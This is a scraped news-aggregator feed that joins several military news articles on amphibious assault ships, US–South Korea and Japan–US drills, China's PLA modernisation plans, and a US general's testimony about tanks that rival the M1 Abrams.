A Turkish official said Anadolu would be able to house up to 80 drones, and Turkey plans to add a short-takeoff but arrested recovery system to the ship in order to launch and retrieve those drones. Anadolu's air wing may also include the Turkish-built T129 ATAK attack helicopter and the planned Hürjet light attack aircraft.

Anadolu is expected to enter service later this year, and there are plans for a second vessel, TCG Takya.

Wasp and America classes

USS Wasp
US Navy amphibious assault ship USS Wasp.

US Navy

The US Navy has two classes of amphibious assault ships: the Wasp- and America-class.

USS Wasp entered service in 1989. The 844-foot ship can carry up to five M-1 tanks, about 35 light armored vehicles, and roughly 1,800 Marines. It displaces 40,500 tons fully loaded.

Eight Wasp-class ships were built, but one, USS Bonhomme Richard, was lost to fire damage in 2020.

America-class ships, the first of which entered service in 2014, are similar in length but can displace over 44,000 tons. USS America and second-in-class USS Tripoli can also carry roughly 1,800 Marines, but the ships are oriented toward air operations and do not have well decks.

Marine Corps America F-35B lightning carrier
USS America at sea with 13 US Marine Corps F-35Bs in October 2019.

US Navy/MCS 3rd Class Chad Swysgood

Wasp-class ships can carry about 25 aircraft. A typical air wing consists of six to eight F-35Bs — or up to 20 if they're in what the US military calls the "lightning carrier" configuration — and a mix of SH-60 anti-submarine helicopters, UH-1Y utility helicopters, CH-53E heavy-lift helicopters, AH-1Z attack helicopters, and MV-22 tilt-rotors.

The makeup of an America-class ship's air wing depends on its mission, but its "typical air combat element" includes five F-35Bs, two UH-1Ys, four CH-53Es, 12 MV-22s, two MH-60s, and four AH-1Zs, according to Huntington Ingalls Shipbuilding.

Two of the 11 planned America-class ships are in service. The third, the future USS Bougainville, has been under construction since March 2019. Unlike its predecessors, Bougainville will have a well deck to support amphibious operations, which comes in exchange for a smaller aircraft hangar.

Read the original article on Business Insider

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]]> https://briefnews.eu/the-not-quite-aircraft-carriers-that-the-us-navy-and-other-militaries-use-to-carry-jets-tanks-and-troops-into-battle/feed/ 0 China is giving away a warship, and it’s the latest sign of the growing rivalry between Asia’s 2 most powerful militaries https://briefnews.eu/china-is-giving-away-a-warship-and-its-the-latest-sign-of-the-growing-rivalry-between-asias-2-most-powerful-militaries/ https://briefnews.eu/china-is-giving-away-a-warship-and-its-the-latest-sign-of-the-growing-rivalry-between-asias-2-most-powerful-militaries/#respond Mon, 30 Jul 2018 04:51:18 +0000 http://briefnews.eu/china-is-giving-away-a-warship-and-its-the-latest-sign-of-the-growing-rivalry-between-asias-2-most-powerful-militaries/ China is giving away a warship, and it’s the latest sign of the growing rivalry between Asia’s 2 most powerful militaries

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]]> https://briefnews.eu/china-is-giving-away-a-warship-and-its-the-latest-sign-of-the-growing-rivalry-between-asias-2-most-powerful-militaries/feed/ 0 Here’s the hardware the world’s top 25 militaries have in their arsenals https://briefnews.eu/heres-the-hardware-the-worlds-top-25-militaries-have-in-their-arsenals/ https://briefnews.eu/heres-the-hardware-the-worlds-top-25-militaries-have-in-their-arsenals/#respond Sat, 03 Mar 2018 20:23:53 +0000 http://briefnews.eu/heres-the-hardware-the-worlds-top-25-militaries-have-in-their-arsenals/ Here’s the hardware the world’s top 25 militaries have in their arsenals

NOW WATCH: The US spent $ 611 billion on its military in 2016 — more than the next 8 countries combined

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]]> https://briefnews.eu/heres-the-hardware-the-worlds-top-25-militaries-have-in-their-arsenals/feed/ 0 US, S. Korean militaries to conduct joint drills despite detente with Pyongyang https://briefnews.eu/us-s-korean-militaries-to-conduct-joint-drills-despite-detente-with-pyongyang/ https://briefnews.eu/us-s-korean-militaries-to-conduct-joint-drills-despite-detente-with-pyongyang/#respond Tue, 20 Feb 2018 07:47:24 +0000 http://briefnews.eu/us-s-korean-militaries-to-conduct-joint-drills-despite-detente-with-pyongyang/ The US and South Korea will go ahead with military drills off the Korean peninsula despite the “Peace Olympics” and the recent thaw in North-South relations, the South’s defense ministry said in a report to the National Assembly.

In the run-up to the Olympic Games in PyeongChang, Seoul was able to convince Washington to delay the start of their annual winter/springtime joint military exercises until after the games. The temporary halt to the annual Foal Eagle/Key Resolve US-South Korea joint military exercises allowed North and South Korea to develop a dialogue that the South hopes will ease the mounting tension in the region.

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FILE PHOTO © Kim Hong-Ji

On Tuesday, a day after Pyongyang warned against the resumption of the military drills, South Korea’s defense ministry announced that the allies will still hold the Key Resolve and Ulchi Freedom Guardian exercises. Holding the drills this year, the S. Korean military said it will enhance the so-called 4D Operational Concept amid allies which aims “to detect, disrupt, destroy and defend against North Korean missile threats,” the ministry said in a report to the National Assembly, Yonhap reports.

No concrete schedule for the drills has yet been announced for 2018, and the report did not mention the fate of the Foal Eagle drills. A Key Resolve computer-simulated command post exercise was held March 8-23 last year. The 2017 Ulchi Freedom Guardian exercise involving some 17,500 US service members took place August 21-31.

The North has long urged the allies to stop their joint military training, and on Monday reiterated its objection to war games on its borders. “Resuming the war exercises is a wild act of ruthlessly trampling even a small sprout of peace that has been seen on the Korean peninsula,” North Korean KCNA said in an official commentary.

N. Korea particularly accused Donald Trump’s administration of seeking “war” in the region, blaming the US for using the “most powerful weapon in the world” to coerce Pyongyang. “The Trump group has to ponder over the catastrophic consequences to be entailed by its reckless saber-rattling, and make a responsible choice,” KCNA said.

“We are ready for dialogue and war.”

The latest statement comes amid the war of words and muscle flexing in the region between Pyongyang and Washington. As the US again threatens to pursue a military option to neutralize North Korea, Russia and China have been calling for calm. Moscow and China have consistently urged for a diplomatic solution to the crisis based on the ‘double freeze’ initiative. The simple Sino-Russian proposal, firmly rejected by Washington, seeks a simultaneous suspension of both nuclear tests by Pyongyang and the large-scale military exercises by Washington and Seoul.

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]]> https://briefnews.eu/us-s-korean-militaries-to-conduct-joint-drills-despite-detente-with-pyongyang/feed/ 0 China’s Xi Jingping has an ambitious plan to catch up with Western militaries https://briefnews.eu/chinas-xi-jingping-has-an-ambitious-plan-to-catch-up-with-western-militaries/ https://briefnews.eu/chinas-xi-jingping-has-an-ambitious-plan-to-catch-up-with-western-militaries/#respond Sun, 22 Oct 2017 20:12:38 +0000 http://briefnews.eu/chinas-xi-jingping-has-an-ambitious-plan-to-catch-up-with-western-militaries/ Xi JinpingREUTERS/Jason Lee

The Chinese military will embark on a massive hardware upgrade and top personnel shake-up under President Xi Jinping’s orders for the PLA to become a world-class fighting force in the next three decades.

Laying out his ambitious plan for the People’s Liberation Army in a report to the Communist Party’s national congress on Wednesday, Xi said the PLA must modernise by 2035 and become a top-ranked military by 2050.

“A military force is built to fight. Our military must regard combat readiness as the goal for all its work and focus on how to win when it is called upon,” Xi said.

He said technology was at the core of combat strength and the PLA needed to apply information technology and modern warfare strategies to advance.

Xi also said the military’s ongoing overhaul should include changes to the PLA’s top brass, better integration between the civilian and military sectors, and stronger border defence forces.

Military specialists said Xi was urging the PLA to ramp up equipment and troop changes and promote more young generals to put the military on a par with its Western counterparts.

China armyREUTERS/Damir Sagolj

The PLA has been through an upheaval this year, with its seven military regions trimmed down to five theatre commands and the navy benefiting from a major build-up.

The changes come as China continues to bicker with its neighbours over claims in the South and East China seas and is extending its military presence abroad, setting up a base in Djibouti.

Beijing has also been driven to modernise by the US’ military deployment in the Asia-Pacific and Washington’s defence ties with China’s neighbours.

Beijing-based military expert Zhou Chenming said the 2050 goal suggested Xi felt China faced the looming threat of a security crisis.

“After several decades of peace with the end of the cold war, China is now facing a lot of security challenges, and Xi foresees that a war could happen at any time. But the PLA’s fighting capacity still lags behind those of the world’s superpowers like the United States,” Zhou said.

china army advisorsReuters/Samrang Pring

Military analysts also said the powerful Central Military Commission, which Xi chairs, was destined for big changes. Nearly 90 per cent of the military delegates to the party congress are new faces while two CMC heavyweights have been ousted.

In the past two months, General Fang Fenghui, former head of the CMC’s Joint Staff Department, has been replaced by General Li Zuocheng, a decorated veteran of the Sino-Vietnamese war; and General Zhang Yang, former head of the commission’s Political Work Department has been sacked and his position filled by Admiral Miao Hua, formerly the PLA Navy’s political commissar.

chinese soldiersJason Lee/Reuters

Military sources said Xi would probably put his own men in key CMC positions to push through his reforms.

Among the front runners for advancement are Li; CMC vice-chairman Xu Qiliang; General Zhang Youxia, a former CMC member who oversaw equipment development and space projects; and General Wei Fenghe, former commander of the newly establishment Rocket Force.

Hong Kong-based military observer Liang Guoliang said Xi might promote more generals like Li with real combat experience or other young innovative senior officers to the CMC.

“Xi understands that China’s military strategies created by Mao Zedong, such as partisan tactics and the human wave strategy, are all outdated. Only new generals are willing to come up with new thinking to meet the military’s modernisation,” Liang said.

NOW WATCH: China is building a mega-airport in Beijing that will open in 2019

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]]> https://briefnews.eu/chinas-xi-jingping-has-an-ambitious-plan-to-catch-up-with-western-militaries/feed/ 0 Japanese, US militaries launch major joint drills amid growing N. Korea tensions https://briefnews.eu/japanese-us-militaries-launch-major-joint-drills-amid-growing-n-korea-tensions/ https://briefnews.eu/japanese-us-militaries-launch-major-joint-drills-amid-growing-n-korea-tensions/#respond Thu, 01 Jun 2017 12:23:04 +0000 http://briefnews.eu/japanese-us-militaries-launch-major-joint-drills-amid-growing-n-korea-tensions/ The Japanese and US militaries have teamed up for a three-day exercise in the Sea of Japan, in a show of force just days after North Korea launched a ballistic missile which landed in Japan’s exclusive economic zone.

The ‘USS Carl Vinson’ and ‘USS Ronald Reagan’ strike groups have joined Japanese destroyers ‘Hyuga’ and ‘Ashigara’ for the exercise, according to AFP.

In a post on its Facebook page, the US 7th Fleet described the drills as “routine training.”

“The Ronald Reagan and Carl Vinson Strike Groups were joined by the Japan Maritime Self-Defense Forces (JMSDF) for routine training to improve interoperability and readiness in the Indo-Asia Pacific,” it wrote.

The Japanese military confirmed in a release that its destroyers had joined the US vessels, according to Reuters.

“It’s the first time we have exercised with two carriers. It’s a major exercise for us,” a Japanese military spokesman said, according to the news outlet.

Meanwhile, Japanese Air Self-Defense Force F-15s are taking part in simulated combat with US Navy F-18 fighters at the same time, according to the Japanese military.

The drills follow separate naval exercises conducted in the same waters last month, with the ‘USS Carl Vinson’ and South Korean and Japanese aircraft taking part.

The most recent exercise comes just three days after North Korea launched a short-range ballistic missile which landed in the Sea of Japan, about 300km (186 miles) off the Japanese coast and in Japan’s exclusive economic zone (EEZ). 

Responding to the launch, Japanese Prime Minister Shinzo Abe said that Tokyo would take “specific action” and join forces with the US to deter North Korea. 

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North Korean leader Kim Jong Un watches the test of a new-type anti-aircraft guided weapon system © Reuters

It also comes shortly after defense industry sources in Tokyo said Japanese and US companies were collaborating on new missile defense radars.

Japan has expressed concern about North Korea’s ballistic and nuclear capabilities in recent weeks, telling citizens last month that they could expect a 10-minute warning if a missile were headed for Japan. It also issued a guide titled ‘Protecting Ourselves Against Armed Attacks and Terrorism’ last month.

Also last month, the country’s National Security Council discussed how to evacuate some 60,000 Japanese citizens from South Korea in the event of a crisis, and how to handle a potential flood of North Korean refugees heading into the country – some of whom could be spies and agents for Pyongyang, Reuters reported, citing Japanese media.

Tokyo first began working on plans to respond to a potential crisis on the Korean Peninsula in February, after Abe met with US President Donald Trump at a summit in America, Kyodo news agency reported at the time.

The US has been leading efforts to impose additional sanctions on North Korea, and has been urging China to put pressure on Pyongyang as its sole economic lifeline.

Meanwhile, North Korea has ignored all calls to halt its nuclear and ballistic missile programs, conducting dozens of missile launches and testing two nuclear bombs since the beginning of last year, in defiance of UN sanctions.

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]]> https://briefnews.eu/japanese-us-militaries-launch-major-joint-drills-amid-growing-n-korea-tensions/feed/ 0 Army general says foreign militaries are getting even with the capabilities of the M1 Abrams tank https://briefnews.eu/army-general-says-foreign-militaries-are-getting-even-with-the-capabilities-of-the-m1-abrams-tank/ https://briefnews.eu/army-general-says-foreign-militaries-are-getting-even-with-the-capabilities-of-the-m1-abrams-tank/#respond Mon, 03 Apr 2017 06:00:39 +0000 http://briefnews.eu/army-general-says-foreign-militaries-are-getting-even-with-the-capabilities-of-the-m1-abrams-tank/ iraq m1 abramsUS Army, Staff Sgt. Aaron Allmon II

Army Lt. Gen. John M. Murray told the Senate Armed Services Committee’s Airland subcommittee that other militaries — including some potential adversaries — have produced tanks that could match the US’s marquee battle tank, the M1 Abrams.

“I think for the very near term, the Abrams is still near the very top of its class,” Murray, deputy chief of staff for financial management, told the Senate, according to Defense Tech.

“I think we have parity,” he said of the Abrams, which entered service in 1980, in response to a question from Alaska Republican Sen. Dan Sullivan, who was a Marine in Afghanistan.

“I think there is parity out there,” Murray added. “I don’t think we have over match.”

Later, when asked about peer or near-peer tanks by Arkansas Republican Sen. Tom Cotton, Murray named several models.

“I would say that the Israelis’ — the Merkava — would be one,” he said.

“The [Russian] T-90 is probably pretty close. People talk about their Armata tank, and that’s still, in my mind, not completely fielded. Probably the British tank [Challenger 2] is pretty close,” Murray continued. “I would not say that we have the world-class tank that we had for many, many years. I’ll be an optimist and say that we’re at parity with a lot of different nations.”

T-90 battle tank RussiaVitaly V. Kuzmin

Of the tanks Murray mentioned, Israel’s Merkava IV is the newest, introduced in 2004.

Russia’s tanks — the T-90 and the T-14 Armata — are Moscow’s latest models. The T-90A, the latest iteration of the 1970s’ T-72, came online in 2004 and has a number of sophisticated armaments, including antitank and anti-missile systems — although it appears to have reached a “dead end” for improvements, according to Popular Mechanics.

The Armata is Russia’s newest tank and is based on a completely new design, though development issues and budget cuts appear to have slowed its deployment.

Challenger 2 british tankStaff Sgt. Brooks Fletcher, US Army Europe Public Affairs

The T-90A is the only tank used by US adversaries’ Russia and Syria, Popular Mechanics notes.

The UK has its Challenger 2, debuted in 1998 to replace the Challenger 1, which was in service during the Cold War.

As the Challenger 2 and T-90A have been in service for most of the last 20 years, their parity or near parity with the Abrams has existed for some time.

Murray, responding to questions, didn’t mention several other current tanks, including Germany’s Leopard 2 and Japan’s Type 10. Nor did he refer to China’s Type 99. Besides tanks, there is also plenty of competition for the US military in the air as well.

In a recent report, the International Institute for Strategic Studies wrote: “We now judge that in some capability areas, particularly in the air domain, China appears to be reaching near-parity with the West.”

China’s Defense Ministry recently said its plans to demobilize 300,000 troops to free up cash for more high-tech air force and navy weaponry were on track.

Murray’s omission of Beijing’s Type 99, introduced to service in 2001, may mean the Pentagon still sees the Abrams as more advanced.

type 99 china tankMax Smith Public Domain

The Abrams, continually upgraded over the last decade and a half, appears to be nearing the end of its operational life, Popular Mechanics notes, though the US military has yet to settle on an effective replacement.

The US Army is “just about reaching the limits of what we can do with the Abrams, so it is time for us to start looking at a next-generation tank,” Murray told the Senate subcommittee.

But, the general added, “There is nothing on the horizon that indicates a fundamental breakthrough in technology where we can come up with a lighter tank.”

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